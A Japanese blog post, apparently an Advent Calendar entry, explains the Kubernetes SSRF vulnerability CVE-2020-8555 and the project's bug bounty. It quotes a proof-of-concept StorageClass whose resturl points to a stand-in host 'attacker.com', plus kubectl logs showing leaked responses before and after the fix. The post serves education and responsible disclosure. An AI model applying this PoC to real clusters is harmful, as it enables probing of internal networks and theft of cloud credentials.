本記事は Kubernetes2 Advent Calendar 2020 の9日目です。Kubernetesでお金ほしいな~~~と思ってたら面白そうなものがあったので紹介します。SSRF脆弱性をみつけて5000ドルを稼ごう!!!という話です。
本記事では、CVE-2020-8555についての簡単な解説と、kubernetesのbug bountyについて紹介します。
CVE-2020-8555について
CVE-2020-8555 Half-Blind SSRFは2020年の6月に公開されたkubernetesのcontrol-planeのSSRF脆弱性です。細工したStorageClass
を作成することで、control-planeを起点としたrequestを発生させてネットワーク内部の情報を窃取することができます。
本脆弱性を発見したのはReeverzax(Brice Augras)とHach(Christophe Hauquiert)の2名、Breizh Zero-Day Huntersです。以下、Breizhって書きます。詳細は本人達のmediumで詳しく解説されていますので、本記事ではかいつまんで簡単に概要を説明します。
https://medium.com/@BreizhZeroDayHunters/when-its-not-only-about-a-kubernetes-cve-8f6b448eafa8
SSRFとは
説明しようと思いましたが、徳丸先生のブログを読んだほうが早いです。
https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html
要するに外からはアクセスできない内部サーバに対して、公開サーバを利用してうまいことアクセスさせることで攻撃する手法です。2019年に米金融大手のCapital Oneから大量の顧客情報が流出するというインシデントがありましたが、このときSSRFが用いられていたということで話題になっていたのを覚えています。
CVE-2020-8555によるSSRF
CVE-2020-8555 では、公開サーバとしてkube-apiserverを利用します。といってもkube-apiserverが直接攻撃対象にアクセスするわけではありません。kube-apiserverに対して細工されたStorageClass
を作成するようにrequestすることで、実際にはvolume controllerが内部サーバにアクセスします。
説明するよりも、PoCがシンプルなのでそっち見てみましょう。
攻撃のために作成するStorageClass
は下記です。これをapplyします。ちなみにこちら、先に紹介したBreizhのmediumからの引用となります。このあとも同様です。
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
parameters.resturl
に http://attacker.com:6666/#
なる怪しいものが設定されていますね。これだけです。これをapplyすることで、このresturlに指定したエンドポイントにvolume controllerがアクセスしてしまいます。ちなみにこれGlusterFSを例にしていますが、Quobyte, StorageOS, ScaleIOでも同様みたいです。
ソースコードからここのアクセス処理を見てみます。
func (c *Client) VolumeCreate(request *api.VolumeCreateRequest) (
*api.VolumeInfoResponse, error) {
//...
// Create a request
req, err := http.NewRequest("POST",
c.host+"/volumes",
bytes.NewBuffer(buffer))
渡したresturl
はc.host
に入っています。このresturlに対して/volumes
とパスを付与されてしまうので、それを打ち消すための#
だったわけです。これで、volume controllerからアクセスできる範囲で任意のパスにアクセスしてしまいます。ちなみにvolume controllerの認証tokenもついてきます。
とはいえ、それは仕方ないんです。provisionerを外から拡張するためなので、volume controllerはprovisionerにアクセスする必要があります。このとき期待するレスポンスが返ってこない場合には、provisioningが失敗したものとして扱われます。その際になんと、このレスポンス内容をログに出力してくれてしまうのです。
下記は v1.18.0で試したログになります。resturlに指定したアクセス先から、http://httpbin.org/ip にredirectさせてみています。レスポンスがログに表示されているのが確認できますね。
omakeno@milk:~$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.6", GitCommit:"dff82dc0de47299ab66c83c626e08b245ab19037", GitTreeState:"clean", BuildDate:"2020-07-15T16:58:53Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T20:56:08Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}
omakeno@milk:~$ kubectl apply -f poc-ssrf.yaml
storageclass.storage.k8s.io/poc-ssrf created
persistentvolumeclaim/poc-ssrf created
omakeno@milk:~$ kubectl describe pvc
Name: poc-ssrf
Namespace: default
StorageClass: poc-ssrf
Status: Pending
Volume:
Labels: <none>
Annotations: volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/glusterfs
Finalizers: [kubernetes.io/pvc-protection]
Capacity:
Access Modes:
VolumeMode: Filesystem
Mounted By: <none>
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Warning ProvisioningFailed 12s persistentvolume-controller Failed to provision volume with StorageClass "poc-ssrf": failed to create volume: failed to create volume: {
"origin": "217.178.18.244"
}
ログの出力には少し条件があって、レスポンスコードが200の場合はjsonでなければbodyを出力しません。4xxとか5xxの場合はフルで出力します。厳密には調べてないので、興味のある方はコードを読んでみてください。メソッドはpost、redirectする場合はGETに限定され、ヘッダやbodyをいじることはできません。
ただしバージョンによっては、goの脆弱性を突くことで、ヘッダやボディまで含めて完全に任意のrequestを作ることができます。ただし、その場合はeventをdescibeしても表示されないので、kube-controller-managerのログを見る必要があります。
修正
ちなみに、こんな感じにmitigationされてます。シンプルに、エラーの詳細を吐き出さなくしてますね。アクセスを発生させること自体はまだ出来そうです。
https://github.com/kubernetes/kubernetes/pull/89794/files
修正されたv1.18.2で試してみると、なるほど詳細が隠されてます。eventsには出力されないので、kube-controller-managerのログを見ろとのことです。そっちにも、ログレベルを4に上げないと出力されません。
omakeno@milk:~$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.6", GitCommit:"dff82dc0de47299ab66c83c626e08b245ab19037", GitTreeState:"clean", BuildDate:"2020-07-15T16:58:53Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.2", GitCommit:"52c56ce7a8272c798dbc29846288d7cd9fbae032", GitTreeState:"clean", BuildDate:"2020-06-03T04:00:21Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
omakeno@milk:~$ kubectl describe pvc
Name: poc-ssrf
Namespace: default
StorageClass: poc-ssrf
Status: Pending
Volume:
Labels: <none>
Annotations: volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/glusterfs
Finalizers: [kubernetes.io/pvc-protection]
Capacity:
Access Modes:
VolumeMode: Filesystem
Mounted By: <none>
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Warning ProvisioningFailed 3s persistentvolume-controller Failed to provision volume with StorageClass "poc-ssrf": failed to create volume: failed to create volume: see kube-controller-manager.log for details
本脆弱性の影響
さて、本脆弱性の影響ですが、CVSSのスコアは6.3となってます。影響は機密性のみと。ネットワークに入れちゃうのは、他のホスト次第では大いに怖いですが。
影響を改めて考えてみると「StorageClassを作成できる権限とイベントログを見る権限のある人間が」「control-planeが存在するネットワークをスキャンできる」というものなのですが、これが致命的になるケースがあります。マネージドKubernetesやってるところですね。
Breizhいわく、マネージドに限って言えばCVSSスコア10いくでしょ、とのことです。
However (and this was the most interesting part of this research project) evaluating the impact in a managed service context environment led us to requalify the vulnerability with a Critical CVSS10/10 rating for multiple distributors.
本脆弱性の調査はAzureで行われていたようです。Azureではkube-controller-managerが出力するログもAzure LogInsightsで見れたようなので、goのバージョンが古ければ色々なものが見れたのかもしれません。どうだったんでしょうね。いわく、Azureに限らず色々できたみたいですが。
With this last approach, we managed to perform some of the following actions among different managed k8s providers: Priv esc with credential retrieving on metadata instances, DoS the master instance with HTTP request (unencrypted) on ETCD master instances, etc…
Bug Bounty
どっちかというと、紹介したかったのはこっちの話です。
さて、見てみるとシンプルな脆弱性でした。この手の脆弱性ってもっと手の混んだことをしている印象があるのですが、これ、resturl
にurlを指定するだけという。Breizhの2人は、KubernetesのBug Bountyで現時点の最高額となる$5000を手にしています。
ちなみにMicrosoftとGoogleからもBountyをもらっていると書いてあるので、もっともっといきそうですね。そっちの金額は確認できなかったです。
Kubernetes HackerOne
この$5000という金額ですが、HackerOneで公開されています。Kubernetesは今年の1月14日にBug Bountyを始めたことを発表していたのですが、この脆弱性をKubernetesコミュニティが知ったのが2020年1月3日というらしいので、早速大きいのが来たわけです。
Kubernetesコミュニティからの依頼に従って、Breizhの2人はHackerOneに登録しました。これが発表翌日の1月15日のこと。
その後2020年6月に公式にアナウンスすることが決まって6月1日に実際にアナウンスされ、その後の6月3日に解説ブログが公開されました。そして11月、本件に関するやりとりがHackerOneでdiscloseされました。(私はこのHackerOneのレポートを見て、ちょうどいいやと思い記事を書くことにしました)
https://hackerone.com/reports/776017
他が高くても$1000程度なのに対して、本件だけがSeverity Highで$5000です(あくまでdiscloseされてるものの中で、ですが)。Bug Bountyが発表されてリサーチャーも見ているでしょうし、今後この賞金額を上回る脆弱性が出てくるのか楽しみですね。みなさんも、みつけたらレポートしていきましょう。
https://hackerone.com/kubernetes/hacktivity?filter=type%3Abounty-awarded&type=team
https://kubernetes.io/docs/reference/issues-security/security/
まとめ
ここ最近はKubernetes Internalの勉強会も始まり、Kubennetesの内部実装に興味を持っている方も増えてきていると思います。勉強ついでに脆弱性を探して、$5000くらいのお小遣いを稼ぎましょう!